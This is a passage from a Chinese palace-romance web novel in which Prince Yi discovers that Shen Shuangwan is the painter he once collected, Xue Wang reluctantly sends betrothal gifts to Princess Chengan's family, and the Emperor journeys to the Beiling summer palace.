“娘娘快避开些,这畜生野得很!”追着那大猞猁身后的是仪王身边的宫人,他一路快跑,又不敢太拦着那猞猁,只好让人先过去护着皇后为先。
皇后便后退了两步,那大猞猁瞧见了小猞猁,脚步放慢了些许,喉咙里发出呜呜的声音。
小猞猁听着那声音便站起来,朝着大猞猁颠颠跑了起来。
一时间两旁宫人侍卫们如临大敌一般,手里握着的兵器和笤帚都准备着时刻出击,以防这猞猁母子突然发狂。
皇后看了一会,便笑着转了身,道:“罢了,这么大雨,它们也没地方去,就让它们在这儿躲一躲吧!”
这话叫众人也微微松了口气,大家纷纷口中称颂了一番娘娘仁慈之类的话,便叫皇后抬手止住了。
“也不是在宫里,不用那么多规矩了。”皇后一面往回走,一面如此说道,“你们也别一时兴起去逗它们,伤着了也是疼在你们自己身上。”
宫人侍卫们齐声应下,只退到两旁去,谨防那一大一小两只猞猁往人多的地方跑。
卢夫人小心看了眼那两只猞猁,又看了看皇后,思忖了一会才笑着开口:“听说京中有些人家为了打猎还有驯养猞猁的。”
皇后看了卢夫人一眼,笑道:“也是胆子大,不过年轻人都是不怕这些的。”
卢夫人打起精神来,忙道:“上回家里几个孩子也说想养,被我骂了一顿,他们还振振有词说这家也养那家也养。我便说,别人家我管不着,咱们家是不能养的。”
“家中近来还好么?”皇后随意看着庭园中的草木,停下了脚步,看向了卢夫人,“我昨日瞧着母亲似乎有许多话想说,但我是不耐烦听了,你替我去问问吧!”
.
卢夫人当然知道自己婆婆想说的是什么,左不过还是仪王的亲事。依着老杨夫人的想法,既然五娘仪王不喜欢不愿意,那么在杨家再挑一个合适的姑娘也不是什么难事。
若叫卢夫人自己来说,这想法当然也没错,仪王是娘娘唯一的儿子,亲上加亲,娶娘家的女孩儿当然最好。
她若是没被自己亲生女儿闹这么个四五年,她自然也觉得这想法没有任何问题。
但杨月芷在家里已经闹了这么四五年都没消停,这会若真的说从杨家再找个合适的姑娘嫁给仪王,她那女儿恐怕立刻要把家里闹个底朝天。
她都不敢想到时候杨月芷能闹出什么事情来——她也根本不愿意去做这样的假设。
卢夫人偶尔会有些后悔,当初便不叫杨月芷嫁给仪王就好了,给她找个乖巧听话的夫君,任她辖制,说不定现在日子过得和美,也没这么多乱七八糟的事情,也不会叫她在皇后面前做低伏小连声音都不敢大一点。
不过——卢夫人小心地看向了皇后,她不认为皇后看不出来老杨夫人是什么主意,皇后什么不知道呢?有些事情只是皇后也不想挑明了让大家难堪而已。
想到这里,卢夫人定了定心神,道:“老夫人是为了五娘婚事着急,总还想着请娘娘给五娘找个合适的人家。我在家里也劝过老夫人几次了,只是老夫人一心顾念家中小辈,这些事情总是放在心里放不下。”
皇后转而看向了卢夫人,笑了一笑:“母亲的确是这样心软的人。”
卢夫人微微松了口气,又道:“五娘心气高,我这做母亲的都要骂她一句眼高于顶,这几年家里也在给她相看,她总也看不上。这次我便也没叫她一并过来,让她在京中反省了。”
皇后点点头,道:“十一郎如今也慢慢定了心,你们要多为五娘打算。”
这话听得卢夫人心狂跳了几下,她想起从去年到今年仪王府上那些荒谬事情,一时间有些拿不准皇后的意思,是仪王对那个沈氏真的动了心?还是仪王已经相看好了新的王妃?
“仪王殿下能定下来,娘娘也省心了。”卢夫人并不敢太多追问,只这么附和着笑道。
皇后重新朝着殿阁方向走,她淡淡笑道:“兴许是一年大过一年,总算是到了要懂事的时候。”
这话卢夫人便不敢再接,只跟在皇后身侧,安静地往前走。
“原本是想着今天天气好,叫你和母亲一起出去走走骑马转一转,不过这雨看着一时半会也停不下来。”行到大殿门口,皇后再次停下脚步看向了卢夫人,“你回去问问母亲,若是有精神,便过来与我说会儿话,玩会儿牌。”
卢夫人忙应道:“我这便去请老夫人。”
皇后扶着一旁女官的手跨过了那高高的门槛,几乎淡漠地看了卢夫人一眼,道:“你去吧!”
.
卢夫人低头行礼,等到皇后进去殿中后,才松了口气。
两侧宫人上前来问她要不要请个肩舆,她摆了摆手,只说不必费事,也不过几步路的工夫。
宫人们便不再多问,安静退到一旁去。
卢夫人往外走了几步,越走心跳越快,她情不自禁揣测并回想着刚才皇后说过的每一句话。
皇后从前是很顾念杨家的,正因为有皇后的顾念,今上也才对杨家一再加恩。
仪王刚与杨月芷和离的时候,皇后对杨家也并没有太多变化,甚至那时候仪王从亲王降为郡王,皇后也没对杨家有什么迁怒,反而多有安慰。
是什么时候开始,皇后的态度变了呢?
是从月芷一而再地胡闹开始吗?
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应当也不是……应当也不是吧!
卢夫人有些拿不准。
她脚步加快了些许,穿过回廊,又从宫人手里接过了伞,穿过雨幕,上了车,往行宫外的住所而去。
.
看了会儿鸦鹊,又看了会儿雨,再饱饱吃上一顿,小孩儿便开始犯困打盹。
奶娘抱着沈云去侧殿休息,沈霜晚跟着过去看了一眼,再回来时候便见仪王在和一个宫人说话。
“原来去我那里那只猞猁还带着一只小猞猁。”仪王见她出来,便对着她招了招手,“带你去看?那小猞猁跑到母后那儿去了,还是个小赖皮,他们拿着笤帚都没赶走。”
沈霜晚便上前来,笑道:“现在难道还在娘娘那儿?”
仪王自然也不知道,便看向那宫人。
宫人便答道:“应是没在了,方才见着那两只猞猁吃了块肉,就朝着没人的地方走了。娘娘叫奴婢们不要去追赶它们。”
仪王笑道:“你们晚上还是要警醒些,可别让这些野兽跑到宫殿里面,拿着火把赶一赶。”
宫人忙应下,道:“奴婢们已经和禁卫说过了,让他们把这些野兽都赶远一些。”
仪王点点头,示意那宫人退下,然后看向沈霜晚:“这两只猞猁不怕人,说不定明天就逛到你这里来,到时候我们就远远看一眼。”
沈霜晚摆了摆手,道:“还是别来,我是怕被吓到的。”
仪王道:“怕什么,我在这儿呢!”顿了顿,他又有些忧愁看了眼那仿佛不会停下来的雨,“这雨也不知要下到什么时候。”说着,他又看向了沈霜晚,“你想玩什么?我陪着你?”
沈霜晚便往殿中走,道:“我原本是想今日画一幅画。”
“画画?”仪王想起了什么,“我想起来之前你还答应给我一幅画像呢!”
沈霜晚顿了顿,也想起来了,她便笑道:“老早画好了,应当都在箱子里,等会翻一翻就是。”一边说着,她便叫侍女把收拾好的那箱子东西拿出来。
仪王跟上前去,看着侍女抬出来一个箱子,便好奇过去打探:“里面是什么?”
“颜料,画笔,乱七八糟的一些小玩意,还有以前画的画。”沈霜晚随口说着,打开了箱子在里面翻检,“以前画的一些画都在这里,不过剩下不多了。”
“剩下?”仪王伸手拿起了一只小羊镇纸放在手里看了看,笑了起来,“这套镇纸上次我就看你摆在桌上。”
沈霜晚笑了起来,道:“用顺手的东西就总会记着带上。”她一边说着,一边抱出了一大卷画纸,一页页翻开找了找,便找到了给仪王画的肖像,她递给到仪王眼前,“可不是没画的,只是那段时间事情也多,便忘了叫人送到前头去给殿下。”
仪王放下镇纸,接过那画像看了看,只见上面画的是他低头斗草的情景,画像中的他神色肆意,应是正为了赢了斗草而高兴,此刻他也情不自禁翘起了嘴角。
他正要说什么,目光忽然扫到了画纸右下的印鉴上,迟雪居士。
45. 前缘
仪王想起自己曾经叫人特地在各个书斋蹲守过的那些字画还有书籍。
他想起从前许多次他与友人们一起聊起京中那神秘的居士。
“必定是哪家公子的手笔,只是怕人说不务正业,才给自己起了个这么旖旎的字号。”他曾经笃定这么认为,“否则以他这样画作,老早就出名了。”
“也许是前人之作呢?”那时候他的友人们如此反驳过,“说不定是家里小孩儿把大人的画作偷偷拿出来卖了,大人的画作原本是不打算公之于众的。”
“你们猜来猜去也没用,这迟雪居士已经许久没有新作了,我猜啊,大约是缺钱,才画了这么几笔。”他的另一位友人如此说道,“等他再缺钱的时候,你们就能从书斋里面收到更多东西。”
“要你这么说,岂不是败家子?”他十分为这位迟雪居士不平,“我觉得这一定是视金钱如粪土的高尚之人。”
“高尚之人也要吃饭穿衣,殿下您是天之骄子吃穿不愁,不懂我们这些要为吃穿发愁的普通人啊。”他的友人摇头晃脑说道,“这并非败家子,我看啊,这居士的日子过得不好是真的。但凡有出路,这居士都不会把字画拿出来典卖。”
后来仪王果然也没有再在书斋里面见过那位迟雪居士的画作。
他心想大约友人说的也对,这位居士应是日子难过了,才想着典卖画作赚钱。
他惜才,便叫人去书斋盯着,若那位居士再遣人典卖字画,便叫那下人回去带话,他若有困难便叫人来王府,他虽然没那么多钱,但资助一个百姓还是可以的。
但一年两年过去,那居士不再出现——直到去岁,他从书斋收到了不少有这位迟雪居士钤印的古籍。
那位居士换了做派,她并非寄卖,而是直接卖给了书斋的老板,等他把书都收到,再去找人,连影子都抓不到。
不过他看那钤印还是新的,心中思忖这居士大概还是家道中落,应当还有再见之时。
他从来也没想过再见之时竟是现在,竟是今日。
竟是沈霜晚。
有些事情忽然变得合理起来。
想起永平侯府种种行为,再想一想薛家为人,还有沈家……沈霜晚是那位迟雪居士是再合理不过的事情。
她当年必定是被苛待过的,才不得不寄卖自己的字画,那些银钱为她解了些许燃眉之急又或者是被薛望发现,她便只能收手。
而去岁情形就再明显不过,她已经发现了薛望和袁嘉儿之间的事情,她那时候已经在给自己准备退路,所以她甚至不再寄卖,而是直接把那些书籍卖给了书斋的老板,她无法等待,她需要立刻拿到手中的银钱。
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他抬眼去看沈霜晚,她也正看着他,并面露疑惑。
她问:“殿下不喜欢吗?”
他有些难说清自己到底是什么心情了,他想了想,道:“我很喜欢。”顿了顿,他指了指画作上的落款钤印,试探着问,“迟雪居士,是你的号?”
沈霜晚笑了起来,道:“是,我自己起的,让殿下见笑了。”
他不由得声音放柔了许多,道:“和你的名字很相配。”
沈霜晚道:“我娘与我说,我爹当年给我起名字时候,在晚和迟之间斟酌许久,最后定了晚字。我初学书画时候给自己起号,便想起这事情来,用了迟雪二字。”
仪王低头再去看那钤印,他忽地有些犹豫要不要说他当初收藏过她字画的事情了。
典卖字画与书籍对她来说……是否意味着狼狈?是否意味着不想叫人知晓?
她似乎是没有觉察到他此时此刻的纠结,她从那箱子里面翻找出了一套大大小小的印章,她向他笑道:“说起来我刻章也不错,殿下看看有没有喜欢的?若有喜欢的,我送殿下一枚。”
他便放下了手中的画作去看那些印章,鸡血寿山田黄等等应有尽有,还有一些直接用的蓝田玉,翻过来看上头刻字,有迟雪居士,闲云良友,野鹤仙人等等字号,一看便都是她从前闲暇时候的刻作,多半不是在薛家时候做的。
翻看那蓝田玉的印章看一眼,上面竟是刻了只圆圆的羊,他好奇看向了沈霜晚,问道:“这羊为何那么圆胖?”
沈霜晚笑得眉眼弯弯,她道:“绵羊身上的毛蓬松起来就是这样圆圆胖胖的,殿下是不是只见过山羊呀?”
仪王想了想,诚实地点了头:“我没见过你说的绵羊。”
“肯定吃过。”沈霜晚一边笑,一边拿了印泥出来,从他手里拿过了那蓝田玉的绵羊印章盖过去,然后抽了张纸盖上,一只略有些粗糙的胖胖的羊出现在了纸上,“这个是我十二岁的时候自己雕刻的,其实没怎么刻好,但我一直很喜欢。”
仪王看着她道:“那我就要这个了。”
沈霜晚倒是很大方,她笑道:“殿下不嫌弃粗糙,我便送给殿下。”
仪王道:“我自然是不嫌弃的。”顿了顿,他又看了沈霜晚一眼,露出几分欲言又止来。
这回沈霜晚注意到了他的神色,她笑道:“殿下还有什么话想说?便是说我的印章刻得太丑,我也不会和殿下计较的。”
他想了又想,最后还是开了口,道:“你前几年是不是卖过字画?”
沈霜晚动作顿了顿,她有些意外看向了他:“殿下买过我的仕女图?”
他看着她的神色,很是小心地点了头:“我还叫人去寻你,但是没能找到。”
沈霜晚缓慢眨了下眼睛,最后笑了起来:“那自然是找不到的,我是叫丫鬟去寄卖,中间还找了人转手呢,殿下是找不到我的。”
“那时候……”听着沈霜晚语气是轻快的,但仪王忍不住更小心了一些,“后来去年我还买到你典卖的一些书……”
“那就是殿下与我有缘在前。”沈霜晚笑着说。
“薛家对你不好。”他还是没忍住开口提起了永平侯府,“否则为何你会寄卖字画后来又典卖了书册?”
沈霜晚看着仪王,她忽然觉察到了仪王的小心翼翼。
她便笑了笑,道:“殿下,那是过去的事情了。我现在在殿下您
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的府上,今后应当是不会再让我典卖字画了吧?”
仪王忙道:“这当然是不可能的。”
“过去么……其实没什么好说。”她想了想,还是笑着摇了摇头,“薛望……他的母亲并不喜欢我,所以她那时候会试图用银钱来拿捏我。我并不太想对她低头,便叫人把我的字画拿出去寄卖。”顿了顿,她笑着看向了仪王,“还好有殿下买了,所以我就有钱,不必对着她低三下四。我那时候就应当感谢殿下——这说起来,殿下其实不止帮过我一次了。”
听着这话,仪王神色都忍不住柔和起来,他道:“正如你所说,这是我们之间缘分。”
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沈霜晚笑着又从那卷画纸中找出了两张仕女图来,递给了他:“再送殿下两幅,殿下不嫌弃就收下吧!”
仪王接过那两幅画细细看过,一幅是穿着石榴裙的女子花园中荡秋千,另一幅则是穿着骑装的女子骑马射箭,应都是她游戏之作,落款处盖了一串钤印,从迟雪居士那串字号到羊猫牛鸟的图章应有尽有。
“怎么盖了那么多?”仪王好奇问。
沈霜晚一本正经道:“因为那天侍女正好把我所有印章都找了出来,我便挨个试了试。这是独一无二的了,这世上再没有第三幅这么齐全印章的画作,殿下可要收好了。”
仪王笑了起来,道:“我必定会好好收起来,将来可当传世之作。”
“传世大约是不可能了,这世上比我画得好的大有人在,他们名气也比我大,传世大约是轮不到我。”沈霜晚笑着说道,“能得殿下喜欢已经是意外之喜了。”
仪王道:“那可未必,当初喜欢你画作的人不在少数,还有人想要仿你画作,只是他们学不会你画中这份气质,怎么学也学不像。”顿了顿,他还想说什么,忽然不经意往外瞥了一眼,那大雨不知什么时候已经渐渐变小,天色变亮,应当是要放晴了。
沈霜晚也看向了外面,她有些意外山中的天气会变得这么快。
“出去走走。”仪王站起身来,他向她伸出手,“说好了要一起出去的。”
沈霜晚便握住了他的手一起站起来。
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北岭雨后天晴时候,京中却迎来了一场大雨。
薛望看着一屋子的聘礼,眉头紧锁。
明日纳征,却突然下了这么大的雨,是否是老天的暗示,他与成安郡主之间的这场婚事不应成?
朱氏扶着丫鬟从外面进来。
“明日跟着你去长公主府的几位姨母已经到了,明日你好好去长公主府上,不要摆出这幅样子。”朱氏看着他说道,“事到如今了,你别想那么多事情。纳征请期,下月郡主就要与你成亲,难道你还想着沈氏和那孩子?那孩子如今也不是你的,还想什么?”
薛望静默了片刻,最后只沉沉叹了口气,道:“我知道的。”
这话说出口,薛望却忽地觉得有些迷茫,他知道什么呢?
他只知道自己的发妻跟了别人,连儿子也改了他人姓氏,他恨不能回到一年前。
46. 避暑
因纳征时候须得几位父母健在儿女双全夫妻和睦的全福夫人同行,薛望与久未联系过的薛家旁支族人见了面。
自从薛聿去世,薛家旁支便与他们家断了往来。
朱氏向来瞧不起那些旁支,当初分家时候也闹得难看,彼此之间相看两厌,便也没了联络。
薛望从前不曾深想过这些事情,他心中那些旁支别系也是不堪的。
但这回见面,却叫他生出许多从前不曾有过的……思疑。
“论理我不应当和你说这话,只是看在你父亲份上,才老着脸开了这口。”对他说着话的人,论关系应当算是他叔祖父,“你如今有爵位,不是从前一无所有什么都不懂的小孩子,有些事情你得自己有主意,不可事事总被旁人左右。”
他初听这话,只觉得茫然,都不知为何他这位叔祖父会这么说。
而他叔祖父接着又道:“你想请几位全福人,族里自然是能为你做得周全,只是族里的人是看着你父亲的份上才愿意出面,而不是你,也不是你的母亲。薛望,你现在不小了,从前你母亲闹出来的事情我们自然不会算在你头上,因为你是薛家人,我们可以因为你的父亲一而再退让,但现在你长大了,你若还任由你母亲羞辱我们,那么从今以后我们便再不要往来,便就当作我们从未有过任何亲戚关系,只是陌路人。”
这话叫他莫名有些心惊,他看着这位老迈的叔祖父,嗫嚅了一会,竟没说出话来。
“我们薛家从来都是有风骨的人家,从来也都不趋炎附势。”胡子头发全部苍白的老头看着他,“你父亲当年铁骨铮铮不畏权贵,你可一点也不像你的父亲啊!”
薛望想起子不肖父这个词,他想起他从仪王那里听说的父亲上书过的遗命,他的父亲是不愿意他袭爵的。
“有些话我们这些外人说了总像是在挑拨离间。”老头摇着扇子,平静地看着他,“你回去问问你母亲,全福人她可有人数了,若有,我们便不出面,省得你们母子之间有了龃龉,最后还要算到我们这些外人头上来。”
“我……”薛望想说这纳征之时必定是薛家的全福人出面才正当应分,但他想到朱氏,后面的话终究是没说下去。
老头儿摆了摆手示意他先回去,他道:“你母亲也不容易,她就你一个孩儿,你回去与她商量吧!”
于是他便告辞了族人,回到了府中。
刚进书房,他便从长随那边知晓,朱氏已经从朱家为他请了全福夫人。
他想着叔祖父说的话,终究是没有与朱氏再多说此事。
他实在感觉无力,他似乎在被各种人推着往前走,走的偏偏不是他想走的路。
此时此刻他抬头看着这滂沱大雨,他心头又开始萦绕着子不肖父这四个字。
他想起薛聿从前的教导,他更觉得茫然。
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大约天公还是有几分垂怜。
这雨只下了半日,便又出了大太阳。
再过一晚上,道路两旁连半点水迹也不见了。
薛望与全福人一并抬着聘礼浩浩荡荡从永平侯府出发往武阳长公主府上去。
一路上吹吹打打热闹非凡,到了武阳长公主府上,有公主府的人出来亲迎,一时间更是锣鼓喧天,气势浩大。
薛望按照礼节下聘,与长公主还有乐昌郡王说着得体的话,也不知为何,他却总想起五年前到沈家下聘时候的情形。
这些他以为已经忘记的记忆在这样的时候全都翻涌出来,他想起他那时候的高傲——他那时候心想,自己不能做言而无信的人,他们薛家既然与沈家有了婚约,他便不能毁约,否则他会被人耻笑。他便怀着这样高高在上的心思来到了沈家,他觉得沈家每一个人都谄媚到让人作呕。
而现在的他和当初沈家人没什么不同。
他卑躬屈膝,俯首帖耳,奴颜媚骨,低三下四。
他丢掉了他的名声,他的风骨,他的自尊,他气节。
他果真是想娶郡主吗?
他这样问自己。
可他敢……拒绝吗?
他听着自己在对长公主说谄媚讨好的话。
他不敢,也不能。
他想,他总不能失去了沈霜晚,再又得不到郡主吧?
那他岂不是竹篮打水一场空?
既然今日已经下聘,他便不应当再去想那些事情。
他得要想今后,他得要想今后。
他要有实职,他得要往上爬,他要身居高位。
他或者可以转投隋王,若将来隋王能做太子,那么仪王必定只能一死。
仪王死了,沈霜晚就能重回他手中。
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麟德殿中,今上放下了手中的奏疏,看向了一旁的内侍:“朕记得……今日是皇妹家办喜事?”
“是,今日永平侯去武阳长公主府上下聘。”内侍回答道,“太后娘娘派人往长公主府上去了,隋王嘉王几位殿下也一起去了长公主府上。”
今上笑了一声,又摇了摇头:“还好十一郎不在京中,否则今日可有热闹看。”
内侍是不敢接这话的,只安静在旁边候立。
“皇后今日可有信送回来?”今上问。
内侍忙道:“昨日下雨,恐怕还在路上。”
话音未落,外面有人捧着书信匣子进来了。
“陛下,娘娘差人送来的书信。”来人上前,双手把一个木匣子呈过头顶。
一旁内侍忙接了那匣子,捧到今上面前。
今上打开匣子,扑鼻而来一阵清香,他拿起了两朵栀子花,笑了起来:“朕就说仿佛宫中少了些什么,原来是栀子花的香味。”
内侍忙跪下,口中道:“是奴婢们疏忽了,请陛下恕罪。”
今上摆了摆手示意他们起身,道:“不过是小事,朕罚你们做什么?”口中说着,他拿起底下的书信细细看了起来。
内侍们不敢多打扰,都只安静站在一旁。
今上花了一刻钟才看完了匣中书信,他放下那一沓信纸,颇有些感慨地笑了笑。
“去问问太后,可要一同去北岭避暑。”今
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上向一旁内侍说道,“再晓谕百官,十日后,朕亦前往北岭行宫避暑,朕不意兴师动众,无关宗亲不必随行。”顿了顿,他又思索了一番,再看向了内侍,“丞相等人倒是可以同行,免得他们太过奔波。”
内侍忙应下。
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皇后才去了北岭避暑不过几日,今上便也下旨要前往,还特命无关宗亲不必随行,一时间京中又是一番议论和猜测。
这旨意传到北岭行宫时候,仪王正和沈霜晚一起爬山。
长史罗粱带着内侍从山脚爬上来,好容易在山腰追上了他们,把这京中的旨意送到了仪王手中。
仪王一边命罗粱和这内侍一起好好在山腰休息不要再奔波,一边打开这旨意看了一看,接着就露出了几分荒谬来。
“父皇准备带着臣子们来北岭。”仪王好笑地把旨意交还给罗粱收着,看向了沈霜晚,“趁着父皇还没来,我带着你多玩些地方。”
为了爬山,沈霜晚穿了一身淡蓝色的男装,头发直接在头上挽了个发髻没有戴那些花哨的珠钗,此刻听着仪王的话,她便笑了起来,道:“殿下急什么,来日方长,难道今后就不往这儿来了么?”
“我老早就准备好了这几日要带你去哪些地方玩,若是因为父皇要来而没有去,我会觉得太遗憾。”仪王认真说道,“等明年再来,我就带你去不同的地方看看。”
这话叫沈霜晚觉出许多感动,她心知这时不应做扫兴的人,便道:“那我就等着殿下带我到各处走走看看。”
果然仪王高兴起来,他拉着她的手继续往山上走,口中道:“今天先爬这座山,从这座山往下看,可以看到远处的北阳湖,山岭之间,北阳湖会看起来像一颗珍珠。”
如此形容,叫沈霜晚好奇起来,她便跟上了仪王的脚步,继续往山上走去。
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北岭行宫中,皇后听着卢夫人说京中的情形,只淡漠笑了笑。
“太后还是留在宫里了,是么?”皇后问。
卢夫人道:“是,太后娘娘说年纪大了懒得动弹,便还是留在宫中。”顿了顿,她又道,“不过武阳长公主要随陛下一同前来。”
皇后有些疑惑,道:“我记得成安郡主与永平侯婚事就在半月后,她还要来北岭?”
“请说请期是在一月后,故而长公主便带着成安郡主与乐昌郡王随行。”卢夫人一边回答着,一边又小心看向了皇后,“几位皇子殿下想随行,倒是被陛下回绝了,叫他们都留在京中。”
皇后抬起眼皮看了卢夫人一眼,道:“圣上有圣上的决断,你们不要妄自猜测。”
卢夫人忙道:“妾身明白。”顿了顿,她又试探着看向了皇后道,“家中也来信,说想送几个小辈过来陪着娘娘与圣上一起在北岭避暑。”
“路上奔波,等圣上来了,行宫事多人杂,你叫杨家不必再来人了。”皇后看着卢夫人,“五娘性子要强,还是呆在京城吧!至于其他小辈,想来倒是也无妨。”
这话听得卢夫人心中一凛,忙又道:“妾身明白。”
47. 迎驾
沈霜晚跟着仪王把北岭周围出名的山水景色走了个遍,还去温泉玩了两日,圣驾才姗姗来迟。
圣驾到来那日,丑时刚过,仪王便睡眼惺忪被人从床上喊了起来。
尽管动静都已经放得很轻,但同在一个宫室中,沈霜晚还是被惊醒。
她从床榻上撩起纱帐,只见外面宫室灯烛明亮,还有来来往往的人影。
听到里面的动静,外间的侍女提着灯进到了里间来。
“夫人是觉得热?奴婢叫人再送一座冰山过来?”侍女轻声问。
“不必。”沈霜晚先摆了摆手,然后又往外看了一眼,“怎么殿下今日起得这么早?”她收回目光,去看墙边的更漏,微微皱了皱眉头。
“陛下今日就要到北岭,殿下是要去准备接驾。”侍女说道,“殿下方才吩咐奴婢们不要惊动了夫人,叫夫人照常休息就行。”
沈霜晚点了点头,她不禁再次看向了外面。
宫室中的灯烛渐次熄灭,提着灯的人群慢慢朝着宫外方向走,整个宫室沉入了夜晚的宁静与黑暗之中。
“你退下吧。”沈霜晚向侍女说道。
侍女行了礼,便安静退了出去。
重新躺下的沈霜晚却一时间没了睡意。
就算仪王是皇后嫡子,就算他总自由自在无所忌惮,可在真正的皇权之下,他仍然也还须得天不亮就起身。
这或者是为什么皇子们总想更进一步的缘故吧!
想到这里,沈霜晚忽地自嘲笑了笑。
从前在永平侯府时候,她所思所想不过是田宅庄园收成几何婆媳交际。
如今到了仪王身边,竟有胆量去想那龙椅上的事情了。
可见俗话说人往高处走的道理从来都是对的。
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就算是盛夏,山中夜风也是凉的。
仪王上了马离开行宫,顺着山路慢慢往山下走。
一路火把蜿蜒,回头望时,仿佛一条缓缓前行的火龙。
两侧山林中,因着突如其来的动静惊起了鸟兽无数,鸟兽畏火,并不敢太上前来,仪王命人不要太惊扰这些野兽,只驱赶它们离开就行。
这森森夜晚,禁卫们就算人多,也不太敢深入山林,只依着仪王吩咐把这些野兽赶开。
天蒙蒙亮时候,终于到了山脚下的亭驿。
仪王下马,与侍从禁卫们一起在亭驿休息了片刻,用了早膳,接着上马继续往前头宝吉镇走去。
宝吉镇说是一个镇,其实最初只是为了北岭建造行宫运送各种辎重而聚集的一个扎营点,后来行宫落成,这地方便继续为行宫上运送食物和水等等日常用品,人来人往多了,开始有百姓定居于此,便渐渐壮大变成了一个小镇,若按区划算,仍属于京兆府管辖。
到宝吉镇时候天光大亮,京兆府的官长们早早已经候立。
见到仪王,这些官长们上前来行了礼,忙说了京中情形与圣驾启程时辰等等。
仪王耐着性子听了,又问他们随行有多少人,几时能到宝吉镇。
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“圣驾应是辰时启程,到这儿应是戌时。”一人回答道。
“戌时?”仪王皱了眉,“那请圣驾在宝吉镇上停一夜再上山么?山路难行,我是不敢叫圣驾晚上还要上山的。”
这话叫这些官长们忽地没了声。
“没人与父皇说过时辰?”仪王眉头皱得更紧了一些。
官长们你看看我,我看看你,都不敢回答。
仪王忍了忍气,只看了眼外面天色,现在还没过卯时,若他现在快马加鞭骑马上官道往京城方向去,圣驾辰时出发,大约午时前后就能遇到圣驾。
他是不想在这地方空耗上一天然后又和这群什么都不敢拿主意的官吏纠结圣驾晚上能不能走山路的。
“备马。”仪王叫了自己身边的人过来,他点了长史罗粱与几个侍卫,“你们几个回行宫去与母后说我去接父皇了,另外的人与我一起去迎驾。”
“等等,殿下等等。”一旁京兆府的人扑过来拦住了仪王,“殿下要去迎驾?这……这,这是不是不好?”
“你们在这里等着就是,那么多废话做什么?”仪王原就没睡好,这会已经生出了几分火气,“问你们你们什么都不知道,现在让我去迎驾,你们还有话说?”
这话一出,他们便不敢再多拦,只好喏喏站到一旁,想要辩解,又不敢吭声。
外面侍卫牵来了马,仪王不与这些人再多说什么,只翻身上马朝着京城方向去了。
一群人跟随仪王离去。
长史罗粱等人被那些官长们又扑住拦下了。
“并非是我等不知道提醒陛下,是陛下自有主意呀!”为首那人几乎要哭出来,他拦在罗粱面前几乎是一把鼻涕一把泪,“还请大人在娘娘和殿下面前为我等说说好话。”
罗粱无奈地命两边人扶起这些人来,口中道:“娘娘和殿下不会怪罪你们,你们就只在这里好好候着便行了。”顿了顿,他又道,“我还要上山去见娘娘,今日圣驾到来,事情繁多,山下种种还得靠你们。做得好了,娘娘和殿下都有赏赐。”
约是最后那句话叫这群人心中有了底,他们也不再阻拦罗粱,只唉声叹气送了他到镇子外面,看着他往山上去了。
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太阳出来时候,山岭间的风也带着微微的燥热。
午时时分,仪王骑着马迎上了从京城出发的圣驾。
禁卫军远远便看到前头仪王过来,早早便告诉了圣驾中的今上,这会儿便放慢了些速度,好叫仪王上车来。
圣驾中冰山凉茶一应俱全,今上正与臣子们一起用午膳,见到仪王上车来,这些臣子们便纷纷起身来行礼。
“来得正好,一起用午膳了。”今上看着仪王,面上具是笑意,“刚才远远的就有人说前头好像有人过来,朕就说肯定是你过来了,你急性子,肯定要跑过来。”顿了顿,他看向了一旁的臣子们,示意仪王在自己身旁坐,“果然朕是没算错的,便就是你!”
仪王也不客气,他从内侍手里接了帕子擦了擦汗,直接便就在今上身侧坐了,口中道:“儿臣在宝吉镇越等越坐不住
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,便过来找父皇了。”
今上听着这话,笑着在他头上拍了两下,道:“你就是孩子心气,这么热的天,朕真怕你热出好歹来。”说着,他便叫内侍站到仪王身边去打扇子,接着今上又问,“你母后知道你跑过来吗?”
仪王便道:“儿臣叫人上山与母后说了。”
今上点了点头,道:“倒是比从前长进,知道差人说一声。”说着,他又注意到一旁似乎有些不知所措的臣子们,便道,“你们也坐下,正好仪王在这儿,你们说的事情,也叫他听一听。”
仪王有些意外地看了丞相一眼,又看向了今上,心思一动,从内侍手里把扇子抢过来自己摇,口中道:“要是太麻烦的事情我是不听的,父皇别叫我听那些。”
今上瞪了他一眼,道:“难不成你还想着玩?玩到什么时候?都多大人了?”
仪王往后一仰,靠在了软垫上,道:“他们都不乐意开口说话,父皇别为难他们才是真的。”
这话叫这些臣子们面色一阵红一阵白,半晌没说出话来。
今上果真便看向了他们,微微皱了皱眉,终究也没有多说什么,只示意他们回去后面的车驾上。
臣子们便依次行了礼,安静退下了。
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“父皇吃的什么?给我也来一碗。”仪王见臣子们走了,便坐直了起来,把扇子还给旁边的内侍。
今上伸手把那扇子接了过去,示意内侍给他盛了一碗绿豆粥,颇有些无奈地用扇子拍了拍他的脑袋:“你说说你,嘴上最行。”
仪王躲开了今上的扇子,从内侍手里接了绿豆粥,吃了一大口再看向今上:“父皇中午就吃这些?也太少了吧?”
今上示意他看桌上的小菜,道:“这些都赏给你了,够不够吃?北岭离这儿远,你吃早饭没有?”
“吃了,早上吃的烙饼。”仪王端着碗挪到桌前,回头去看今上,“父皇下午和我一起骑马去北岭吧?路上慢慢走,还不知道猴年马月才到呢!”
今上只笑着摇头,道:“不行,下午日头毒,你是玩起来就不要命的,朕得管着你。”
仪王往外看了眼,也知道今天他冲动了,他便道:“那我陪父皇聊天就是了。”
“杨家有几个女孩儿在后头车上,你见一见?”今上看向了他,“杨家家教向来是不错的,你现在也缺一位王妃。”
仪王吃着小菜,道:“不见,杨家的家教看杨月芷就行了,她那些堂姐妹跟她必定差不太多。”
“也不能这么说。”今上道,“女孩儿霸道些也不是坏事,那会儿你自己脾气也不好。”
仪王不高兴地放下了碗筷就站起身:“我回北岭找母后了,父皇去找臣子们说话吧!”
“坐下。”今上眉头拧起来,示意左右内侍拉住他,“这么大太阳还敢出去跑,你给朕好好吃饭,然后呆在这里,哪儿也不许去。”
“不见那几个表妹了?”仪王重新拿起碗筷吃饭。
今上看了他一眼,终究是没忍住笑了起来:“你啊——算了,你吃饭吧,不见就不见了。”
48. 夜晚
午后时分,沈霜晚第二次单独面见了皇后。
这也是到了行宫后,她第一次单独去拜见皇后。
如上次在宫中时候一样,皇后身边并没有那些命妇夫人,只有一贯在皇后身边伺候的女官。
沈霜晚听着皇后温和的声音叫她起身,她便依言站起来,在旁边站定。
“听说十一郎最近带着你到处玩赏,这北岭你可有觉得好玩的地方?”皇后笑着叫她坐下,语气柔和,“我年轻时候来北岭也曾到处游玩,曾经很喜欢玉兔峰上那块形似玉兔的石头,不过有一年地震,山上那块石头不知砸到何处,玉兔峰也被削了一半,再不见从前情形了。”
